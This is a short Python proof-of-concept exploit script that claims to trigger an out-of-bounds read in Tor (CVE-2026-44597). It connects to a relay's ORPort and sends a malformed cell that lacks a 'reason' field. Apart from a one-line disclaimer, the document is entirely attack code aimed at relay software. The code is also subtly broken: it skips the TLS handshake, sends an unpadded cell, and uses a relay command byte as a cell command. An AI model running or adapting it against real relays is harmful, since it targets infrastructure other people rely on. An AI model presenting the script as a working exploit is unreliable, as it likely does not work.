The following code is for security research and authorized testing only.
python
import socket
import struct
# PoC for CVE-2026-44597: Tor Out-of-Bounds Read
# This script demonstrates sending a malformed cell to trigger the vulnerability.
def send_malformed_cell(target_ip, target_port):
"""
Sends a crafted cell to the target Tor instance.
The cell is of type END/TRUNCATE/TRUNCATED but lacks the 'reason' payload.
"""
try:
# Establish TCP connection to Tor ORPort
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
print(f"[*] Connected to {target_ip}:{target_port}")
# Tor Cell Header Structure (Version 3/4):
# Circuit ID (4 bytes) + Command (1 byte)
# Vulnerable commands include END, TRUNCATE, TRUNCATED.
# Assuming a control cell structure for demonstration.
circuit_id = 0x12345678 # Arbitrary Circuit ID
command = 5 # Example command byte (e.g., RELAY_END or similar control command)
# Construct header: CircID (4 bytes, big endian) + Command (1 byte)
header = struct.pack("!IB", circuit_id, command)
# The vulnerability occurs when the payload is empty/short
# but the parser expects a 'reason' byte.
payload = b'' # Missing reason field to trigger OOB read
full_packet = header + payload
sock.send(full_packet)
print("[*] Malformed cell sent.")
sock.close()
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
# Replace with actual target details for testing
TARGET_IP = "127.0.0.1"
TARGET_PORT = 9001
send_malformed_cell(TARGET_IP, TARGET_PORT)